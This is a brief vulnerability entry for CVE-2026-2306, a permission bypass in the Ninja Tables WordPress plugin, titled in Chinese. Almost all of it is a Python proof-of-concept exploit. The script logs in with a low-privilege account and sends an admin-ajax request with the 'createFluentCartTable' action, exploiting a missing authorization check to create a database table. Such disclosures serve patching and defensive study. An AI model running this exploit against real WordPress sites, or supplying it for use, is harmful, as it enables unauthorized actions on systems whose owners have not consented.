CVE-2026-2306: Ninja Tables权限绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "attacker" password = "password" # 1. Authenticate to obtain a valid session cookie session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post("http://example.com/wp-login.php", data=login_data) # 2. Exploit the missing authorization check # Sending a request to the vulnerable function endpoint exploit_data = { "action": "createFluentCartTable", "table_name": "exploit_table_test" } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] PoC executed successfully. Database table created.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")